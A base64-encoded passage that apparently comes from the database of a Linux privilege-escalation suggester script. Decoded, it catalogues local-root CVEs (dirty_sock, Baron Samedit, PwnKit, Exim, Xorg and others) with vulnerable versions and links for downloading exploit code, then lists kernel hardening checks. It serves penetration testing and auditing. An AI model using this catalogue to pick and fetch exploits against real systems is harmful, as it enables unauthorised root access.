NApUYWdzOiBkZWJpYW49OXtsaWJjNjoyLjI0LTExK2RlYjl1MX0sdWJ1bnR1PTE2LjA0LjN7bGliYzY6Mi4yMy0wdWJ1bnR1OX0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LmhhbGZkb2cubmV0L1NlY3VyaXR5LzIwMTcvTGliY1JlYWxwYXRoQnVmZmVyVW5kZXJmbG93LwpzcmMtdXJsOiBodHRwczovL3d3dy5oYWxmZG9nLm5ldC9TZWN1cml0eS8yMDE3L0xpYmNSZWFscGF0aEJ1ZmZlclVuZGVyZmxvdy9SYXRpb25hbExvdmUuYwpDb21tZW50czoga2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9MSByZXF1aXJlZApiaW4tdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtZnJhbWV3b3JrL21hc3Rlci9kYXRhL2V4cGxvaXRzL2N2ZS0yMDE4LTEwMDAwMDEvUmF0aW9uYWxMb3ZlCmV4cGxvaXQtZGI6IDQzNzc1CmF1dGhvcjogaGFsZmRvZwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xMDkwMF0ke3R4dHJzdH0gdnBuY19wcml2ZXNjLnB5ClJlcXM6IHBrZz1uZXR3b3JrbWFuYWdlci12cG5jfG5ldHdvcmstbWFuYWdlci12cG5jLHZlcjwxLjIuNgpUYWdzOiB1YnVudHU9MTYuMDR7bmV0d29yay1tYW5hZ2VyLXZwbmM6MS4xLjkzLTF9LGRlYmlhbj05LjB7bmV0d29yay1tYW5hZ2VyLXZwbmM6MS4yLjQtNH0sbWFuamFybz0xNwpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9wdWxzZXNlY3VyaXR5LmNvLm56L2Fkdmlzb3JpZXMvTk0tVlBOQy1Qcml2ZXNjCnNyYy11cmw6IGh0dHBzOi8vYnVnemlsbGEubm92ZWxsLmNvbS9hdHRhY2htZW50LmNnaT9pZD03NzkxMTAKZXhwbG9pdC1kYjogNDUzMTMKYXV0aG9yOiBEZW5pcyBBbmR6YWtvdmljCkNvbW1lbnRzOiBEaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xNDY2NV0ke3R4dHJzdH0gcmFwdG9yX3hvcmd5ClJlcXM6IHBrZz14b3JnLXgxMS1zZXJ2ZXItWG9yZyxjbWQ6WyAtdSAvdXNyL2Jpbi9Yb3JnIF0KVGFnczogY2VudG9zPTcuNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuc2VjdXJlcGF0dGVybnMuY29tLzIwMTgvMTAvY3ZlLTIwMTgtMTQ2NjUteG9yZy14LXNlcnZlci5odG1sCmV4cGxvaXQtZGI6IDQ1OTIyCmF1dGhvcjogcmFwdG9yCkNvbW1lbnRzOiBYLk9yZyBTZXJ2ZXIgYmVmb3JlIDEuMjAuMyBpcyB2dWxuZXJhYmxlLiBEaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS03MzA0XSR7dHh0cnN0fSBkaXJ0eV9zb2NrClJlcXM6IHBrZz1zbmFwZCx2ZXI8Mi4zNyxjbWQ6WyAtUyAvcnVuL3NuYXBkLnNvY2tldCBdClRhZ3M6IHVidW50dT0xOC4xMCxtaW50PTE5ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2luaXRibG9nLmNvbS8yMDE5L2RpcnR5LXNvY2svCmV4cGxvaXQtZGI6IDQ2MzYxCmV4cGxvaXQtZGI6IDQ2MzYyCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2svYXJjaGl2ZS9tYXN0ZXIuemlwCmF1dGhvcjogSW5pdFN0cmluZwpDb21tZW50czogRGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZC4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktMTAxNDldJHt0eHRyc3R9IHJhcHRvcl9leGltX3dpegpSZXFzOiBwa2c9ZXhpbXxleGltNCx2ZXI+PTQuODcsdmVyPD00LjkxClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTkvMDYvMDUvY3ZlLTIwMTktMTAxNDkvcmV0dXJuLXdpemFyZC1yY2UtZXhpbS50eHQKZXhwbG9pdC1kYjogNDY5OTYKYXV0aG9yOiByYXB0b3IKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktMTIxODFdJHt0eHRyc3R9IFNlcnYtVSBGVFAgU2VydmVyClJlcXM6IGNtZDpbIC11IC91c3IvbG9jYWwvU2Vydi1VL1NlcnYtVSBdClRhZ3M6IGRlYmlhbj05ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2Jsb2cudmFzdGFydC5kZXYvMjAxOS8wNi9jdmUtMjAxOS0xMjE4MS1zZXJ2LXUtZXhwbG9pdC13cml0ZXVwLmh0bWwKZXhwbG9pdC1kYjogNDcwMDkKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2d1eXdoYXRhZ3V5L0NWRS0yMDE5LTEyMTgxL21hc3Rlci9zZXJ2dS1wZS1jdmUtMjAxOS0xMjE4MS5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMvbG9jYWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE5LTEyMTgxL1NVcm9vdAphdXRob3I6IEd1eSBMZXZpbiAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IEJyZW5kYW4gQ29sZXMgKGF1dGhvciBvZiBleHBsb2l0IHVwZGF0ZSBhdCAnZXh0LXVybCcpCkNvbW1lbnRzOiBNb2RpZmllZCB2ZXJzaW9uIGF0ICdleHQtdXJsJyB1c2VzIGJhc2ggZXhlYyB0ZWNobmlxdWUsIHJhdGhlciB0aGFuIGNvbXBpbGluZyB3aXRoIGdjYy4KRU9GCikKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xODg2Ml0ke3R4dHJzdH0gR05VIE1haWx1dGlscyAyLjAgPD0gMy43IG1haWRhZyB1cmwgbG9jYWwgcm9vdCAoQ1ZFLTIwMTktMTg4NjIpClJlcXM6IGNtZDpbIC11IC91c3IvbG9jYWwvc2Jpbi9tYWlkYWcgXQpUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3Lm1pa2UtZ3VhbHRpZXJpLmNvbS9wb3N0cy9maW5kaW5nLWEtZGVjYWRlLW9sZC1mbGF3LWluLWdudS1tYWlsdXRpbHMKZXh0LXVybDogaHR0cHM6Ly9naXRodWIuY29tL2Jjb2xlcy9sb2NhbC1leHBsb2l0cy9yYXcvbWFzdGVyL0NWRS0yMDE5LTE4ODYyL2V4cGxvaXQuY3Jvbi5zaApzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vYmNvbGVzL2xvY2FsLWV4cGxvaXRzL3Jhdy9tYXN0ZXIvQ1ZFLTIwMTktMTg4NjIvZXhwbG9pdC5sZHByZWxvYWQuc2gKYXV0aG9yOiBiY29sZXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktMTg2MzRdJHt0eHRyc3R9IHN1ZG8gcHdmZWVkYmFjawpSZXFzOiBwa2c9c3Vkbyx2ZXI8MS44LjMxClRhZ3M6IG1pbnQ9MTkKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vZHlsYW5rYXR6LmNvbS9BbmFseXNpcy1vZi1DVkUtMjAxOS0xODYzNC8Kc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL3NhbGVlbXJhc2hpZC9zdWRvLWN2ZS0yMDE5LTE4NjM0L3Jhdy9tYXN0ZXIvZXhwbG9pdC5jCmF1dGhvcjogc2FsZWVtcmFzaGlkCkNvbW1lbnRzOiBzdWRvIGNvbmZpZ3VyYXRpb24gcmVxdWlyZXMgcHdmZWVkYmFjayB0byBiZSBlbmFibGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMC05NDcwXSR7dHh0cnN0fSBXaW5nIEZUUCBTZXJ2ZXIgPD0gNi4yLjUgTFBFClJlcXM6IGNtZDpbIC14IC9ldGMvaW5pdC5kL3dmdHBzZXJ2ZXIgXQpUYWdzOiB1YnVudHU9MTgKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3Lmhvb3BlcmxhYnMueHl6L2Rpc2Nsb3N1cmVzL2N2ZS0yMDIwLTk0NzAucGhwCnNyYy11cmw6IGh0dHBzOi8vd3d3Lmhvb3BlcmxhYnMueHl6L2Rpc2Nsb3N1cmVzL2N2ZS0yMDIwLTk0NzAuc2gKZXhwbG9pdC1kYjogNDgxNTQKYXV0aG9yOiBDYXJ5IENvb3BlcgpDb21tZW50czogUmVxdWlyZXMgYW4gYWRtaW5pc3RyYXRvciB0byBsb2dpbiB2aWEgdGhlIHdlYiBpbnRlcmZhY2UuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIxLTMxNTZdJHt0eHRyc3R9IHN1ZG8gQmFyb24gU2FtZWRpdApSZXFzOiBwa2c9c3Vkbyx2ZXI8MS45LjVwMgpUYWdzOiBtaW50PTE5LHVidW50dT0xOHwyMCwgZGViaWFuPTEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMjEvMDEvMjYvY3ZlLTIwMjEtMzE1Ni9iYXJvbi1zYW1lZGl0LWhlYXAtYmFzZWQtb3ZlcmZsb3ctc3Vkby50eHQKc3JjLXVybDogaHR0cHM6Ly9jb2RlbG9hZC5naXRodWIuY29tL2JsYXN0eS9DVkUtMjAyMS0zMTU2L3ppcC9tYWluCmF1dGhvcjogYmxhc3R5CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIxLTMxNTZdJHt0eHRyc3R9IHN1ZG8gQmFyb24gU2FtZWRpdCAyClJlcXM6IHBrZz1zdWRvLHZlcjwxLjkuNXAyClRhZ3M6IGNlbnRvcz02fDd8OCx1YnVudHU9MTR8MTZ8MTd8MTh8MTl8MjAsIGRlYmlhbj05fDEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMjEvMDEvMjYvY3ZlLTIwMjEtMzE1Ni9iYXJvbi1zYW1lZGl0LWhlYXAtYmFzZWQtb3ZlcmZsb3ctc3Vkby50eHQKc3JjLXVybDogaHR0cHM6Ly9jb2RlbG9hZC5naXRodWIuY29tL3dvcmF3aXQvQ1ZFLTIwMjEtMzE1Ni96aXAvbWFpbgphdXRob3I6IHdvcmF3aXQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctNTYxOF0ke3R4dHJzdH0gc2V0dWlkIHNjcmVlbiB2NC41LjAgTFBFClJlcXM6IHBrZz1zY3JlZW4sdmVyPT00LjUuMApUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNy9xMS8xODQKZXhwbG9pdC1kYjogaHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNDExNTQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtNDAzNF0ke3R4dHJzdH0gUHduS2l0ClJlcXM6IHBrZz1wb2xraXR8cG9saWN5a2l0LTEsdmVyPD0wLjEwNS0zMQpUYWdzOiB1YnVudHU9MTB8MTF8MTJ8MTN8MTR8MTV8MTZ8MTd8MTh8MTl8MjB8MjEsZGViaWFuPTd8OHw5fDEwfDExLGZlZG9yYSxtYW5qYXJvClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMjIvMDEvMjUvY3ZlLTIwMjEtNDAzNC9wd25raXQudHh0CnNyYy11cmw6IGh0dHBzOi8vY29kZWxvYWQuZ2l0aHViLmNvbS9iZXJkYXYvQ1ZFLTIwMjEtNDAzNC96aXAvbWFpbgphdXRob3I6IGJlcmRhdgpFT0YKKQoKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMgc2VjdXJpdHkgcmVsYXRlZCBIVy9rZXJuZWwgZmVhdHVyZXMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKbj0wCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiBNYWlubGluZSBrZXJuZWwgcHJvdGVjdGlvbiBtZWNoYW5pc21zOgpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogS2VybmVsIFBhZ2UgVGFibGUgSXNvbGF0aW9uIChQVEkpIHN1cHBvcnQKYXZhaWxhYmxlOiB2ZXI+PTQuMTUKZW5hYmxlZDogY21kOmdyZXAgLUVxaSAnXHNwdGknIC9wcm9jL2NwdWluZm8KYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9wdGkubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEdDQyBzdGFjayBwcm90ZWN0b3Igc3VwcG9ydAphdmFpbGFibGU6IENPTkZJR19IQVZFX1NUQUNLUFJPVEVDVE9SPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zdGFja3Byb3RlY3Rvci1yZWd1bGFyLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBHQ0Mgc3RhY2sgcHJvdGVjdG9yIFNUUk9ORyBzdXBwb3J0CmF2YWlsYWJsZTogQ09ORklHX1NUQUNLUFJPVEVDVE9SX1NUUk9ORz15LHZlcj49My4xNAphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3N0YWNrcHJvdGVjdG9yLXN0cm9uZy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogTG93IGFkZHJlc3Mgc3BhY2UgdG8gcHJvdGVjdCBmcm9tIHVzZXIgYWxsb2NhdGlvbgphdmFpbGFibGU6IENPTkZJR19ERUZBVUxUX01NQVBfTUlOX0FERFI9WzAtOV0rCmVuYWJsZWQ6IHN5c2N0bDp2bS5tbWFwX21pbl9hZGRyIT0wCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvbW1hcF9taW5fYWRkci5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUHJldmVudCB1c2VycyBmcm9tIHVzaW5nIHB0cmFjZSB0byBleGFtaW5lIHRoZSBtZW1vcnkgYW5kIHN0YXRlIG9mIHRoZWlyIHByb2Nlc3NlcwphdmFpbGFibGU6IENPTkZJR19TRUNVUklUWV9ZQU1BPXkKZW5hYmxlZDogc3lzY3RsOmtlcm5lbC55YW1hLnB0cmFjZV9zY29wZSE9MAphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3lhbWFfcHRyYWNlX3Njb3BlLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBSZXN0cmljdCB1bnByaXZpbGVnZWQgYWNjZXNzIHRvIGtlcm5lbCBzeXNsb2cKYXZhaWxhYmxlOiBDT05GSUdfU0VDVVJJVFlfRE1FU0dfUkVTVFJJQ1Q9eSx2ZXI+PTIuNi4zNwplbmFibGVkOiBzeXNjdGw6a2VybmVsLmRtZXNnX3Jlc3RyaWN0IT0wCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZG1lc2dfcmVzdHJpY3QubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFJhbmRvbWl6ZSB0aGUgYWRkcmVzcyBvZiB0aGUga2VybmVsIGltYWdlIChLQVNMUikKYXZhaWxhYmxlOiBDT05GSUdfUkFORE9NSVpFX0JBU0U9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2thc2xyLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBIYXJkZW5lZCB1c2VyIGNvcHkgc3VwcG9ydAphdmFpbGFibGU6IENPTkZJR19IQVJERU5FRF9VU0VSQ09QWT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvaGFyZGVuZWRfdXNlcmNvcHkubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IE1ha2Uga2VybmVsIHRleHQgYW5kIHJvZGF0YSByZWFkLW9ubHkKYXZhaWxhYmxlOiBDT05GSUdfU1RSSUNUX0tFUk5FTF9SV1g9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3N0cmljdF9rZXJuZWxfcnd4Lm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTZXQgbG9hZGFibGUga2VybmVsIG1vZHVsZSBkYXRhIGFzIE5YIGFuZCB0ZXh0IGFzIFJPCmF2YWlsYWJsZTogQ09ORklHX1NUUklDVF9NT0RVTEVfUldYPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zdHJpY3RfbW9kdWxlX3J3eC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogQlVHKCkgY29uZGl0aW9ucyByZXBvcnRpbmcKYXZhaWxhYmxlOiBDT05GSUdfQlVHPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9idWcubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEFkZGl0aW9uYWwgJ2NyZWQnIHN0cnVjdCBjaGVja3MKYXZhaWxhYmxlOiBDT05GSUdfREVCVUdfQ1JFREVOVElBTFM9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RlYnVnX2NyZWRlbnRpYWxzLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTYW5pdHkgY2hlY2tzIGZvciBub3RpZmllciBjYWxsIGNoYWlucwphdmFpbGFibGU6IENPTkZJR19ERUJVR19OT1RJRklFUlM9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RlYnVnX25vdGlmaWVycy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogRXh0ZW5kZWQgY2hlY2tzIGZvciBsaW5rZWQtbGlzdHMgd2Fsa2luZwphdmFpbGFibGU6IENPTkZJR19ERUJVR19MSVNUPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZWJ1Z19saXN0Lm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBDaGVja3Mgb24gc2NhdHRlci1nYXRoZXIgdGFibGVzCmF2YWlsYWJsZTogQ09ORklHX0RFQlVHX1NHPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZWJ1Z19zZy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogQ2hlY2tzIGZvciBkYXRhIHN0cnVjdHVyZSBjb3JydXB0aW9ucwphdmFpbGFibGU6IENPTkZJR19CVUdfT05fREFUQV9DT1JSVVBUSU9OPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9idWdfb25fZGF0YV9jb3JydXB0aW9uLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBDaGVja3MgZm9yIGEgc3RhY2sgb3ZlcnJ1biBvbiBjYWxscyB0byAnc2NoZWR1bGUnCmF2YWlsYWJsZTogQ09ORklHX1NDSEVEX1NUQUNLX0VORF9DSEVDSz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc2NoZWRfc3RhY2tfZW5kX2NoZWNrLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBGcmVlbGlzdCBvcmRlciByYW5kb21pemF0aW9uIG9uIG5ldyBwYWdlcyBjcmVhdGlvbgphdmFpbGFibGU6IENPTkZJR19TTEFCX0ZSRUVMSVNUX1JBTkRPTT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc2xhYl9mcmVlbGlzdF9yYW5kb20ubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEZyZWVsaXN0IG1ldGFkYXRhIGhhcmRlbmluZwphdmFpbGFibGU6IENPTkZJR19TTEFCX0ZSRUVMSVNUX0hBUkRFTkVEPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zbGFiX2ZyZWVsaXN0X2hhcmRlbmVkLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBBbGxvY2F0b3IgdmFsaWRhdGlvbiBjaGVja2luZwphdmFpbGFibGU6IENPTkZJR19TTFVCX0RFQlVHX09OPXksY21kOiEgZ3JlcCAnc2x1Yl9kZWJ1Zz0tJyAvcHJvYy9jbWRsaW5lCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc2x1Yl9kZWJ1Zy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogVmlydHVhbGx5LW1hcHBlZCBrZXJuZWwgc3RhY2tzIHdpdGggZ3VhcmQgcGFnZXMKYXZhaWxhYmxlOiBDT05GSUdfVk1BUF9TVEFDSz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvdm1hcF9zdGFjay5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUGFnZXMgcG9pc29uaW5nIGFmdGVyIGZyZWVfcGFnZXMoKSBjYWxsCmF2YWlsYWJsZTogQ09ORklHX1BBR0VfUE9JU09OSU5HPXkKZW5hYmxlZDogY21kOiBncmVwICdwYWdlX3BvaXNvbj0xJyAvcHJvYy9jbWRsaW5lCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvcGFnZV9wb2lzb25pbmcubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFVzaW5nICdyZWZjb3VudF90JyBpbnN0ZWFkIG9mICdhdG9taWNfdCcKYXZhaWxhYmxlOiBDT05GSUdfUkVGQ09VTlRfRlVMTD15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvcmVmY291bnRfZnVsbC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogSGFyZGVuaW5nIGNvbW1vbiBzdHIvbWVtIGZ1bmN0aW9ucyBhZ2FpbnN0IGJ1ZmZlciBvdmVyZmxvd3MKYXZhaWxhYmxlOiBDT05GSUdfRk9SVElGWV9TT1VSQ0U9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2ZvcnRpZnlfc291cmNlLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBSZXN0cmljdCAvZGV2L21lbSBhY2Nlc3MKYXZhaWxhYmxlOiBDT05GSUdfU1RSSUNUX0RFVk1FTT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc3RyaWN0X2Rldm1lbS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUmVzdHJpY3QgSS9PIGFjY2VzcyB0byAvZGV2L21lbQphdmFpbGFibGU6IENPTkZJR19JT19TVFJJQ1RfREVWTUVNPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9pb19zdHJpY3RfZGV2bWVtLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiBIYXJkd2FyZS1iYXNlZCBwcm90ZWN0aW9uIGZlYXR1cmVzOgpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3VwZXJ2aXNvciBNb2RlIEV4ZWN1dGlvbiBQcm90ZWN0aW9uIChTTUVQKSBzdXBwb3J0CmF2YWlsYWJsZTogdmVyPj0zLjAKZW5hYmxlZDogY21kOmdyZXAgLXFpIHNtZXAgL3Byb2MvY3B1aW5mbwphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHVi